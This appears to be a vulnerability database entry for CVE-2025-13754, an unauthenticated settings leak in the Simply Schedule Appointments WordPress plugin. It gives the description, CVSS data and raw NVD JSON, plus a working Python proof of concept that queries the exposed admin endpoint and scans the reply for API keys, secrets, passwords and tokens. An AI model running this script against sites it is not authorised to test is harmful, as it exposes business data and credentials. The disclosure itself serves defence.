Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-13754 CVSS 5.3 MEDIUM

CVE-2025-13754

Published: 2025-12-19 07:16:00
Last Modified: 2026-04-15 00:35:42

Description

The Appointment Booking Calendar β€” Simply Schedule Appointments Booking Plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.6.9.16. This is due to the plugin exposing its admin embed endpoint at `/wp-json/ssa/v1/embed-inner-admin` without authentication, which leaks plugin settings including staff names, business names, and configuration data that are not publicly displayed on the booking form. This makes it possible for unauthenticated attackers to extract private business configuration. In premium versions with integrations configured, this might also expose other sensitive data including API keys for external services.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Simply Schedule Appointments < 1.6.9.17

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-13754 PoC - Simply Schedule Appointments Plugin Information Disclosure # Target: WordPress site with Simply Schedule Appointments plugin < 1.6.9.17 TARGET_URL = "https://example-wordpress-site.com" # Replace with target URL VULN_ENDPOINT = "/wp-json/ssa/v1/embed-inner-admin" def check_vulnerability(target): """Check if target is vulnerable to CVE-2025-13754""" url = f"{target}/wp-json/ssa/v1/embed-inner-admin" print(f"[*] Testing CVE-2025-13754 on: {target}") print(f"[*] Target endpoint: {url}") try: # Send unauthenticated request to the vulnerable endpoint response = requests.get(url, timeout=10, verify=False) print(f"[+] Status Code: {response.status_code}") if response.status_code == 200: data = response.json() print("[!] VULNERABLE - Endpoint returns data without authentication") print(f"[+] Response preview:\n{str(data)[:500]}...") # Extract potential sensitive information sensitive_keys = ['api_key', 'key', 'secret', 'password', 'token', 'staff', 'business', 'name'] found_sensitive = [] for key in sensitive_keys: if key.lower() in str(data).lower(): found_sensitive.append(key) if found_sensitive: print(f"[!] Sensitive data types found: {', '.join(found_sensitive)}") return True elif response.status_code == 401 or response.status_code == 403: print("[-] NOT VULNERABLE - Endpoint requires authentication") return False else: print(f"[-] Unexpected response: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": check_vulnerability(TARGET_URL)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13754", "sourceIdentifier": "[email protected]", "published": "2025-12-19T07:16:00.443", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Appointment Booking Calendar β€” Simply Schedule Appointments Booking Plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.6.9.16. This is due to the plugin exposing its admin embed endpoint at `/wp-json/ssa/v1/embed-inner-admin` without authentication, which leaks plugin settings including staff names, business names, and configuration data that are not publicly displayed on the booking form. This makes it possible for unauthenticated attackers to extract private business configuration. In premium versions with integrations configured, this might also expose other sensitive data including API keys for external services."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3421427/simply-schedule-appointments/trunk/includes/class-shortcodes.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/10d7a50c-41e9-41b7-a171-d72dbe08e7b7?source=cve", "source": "[email protected]"}]}}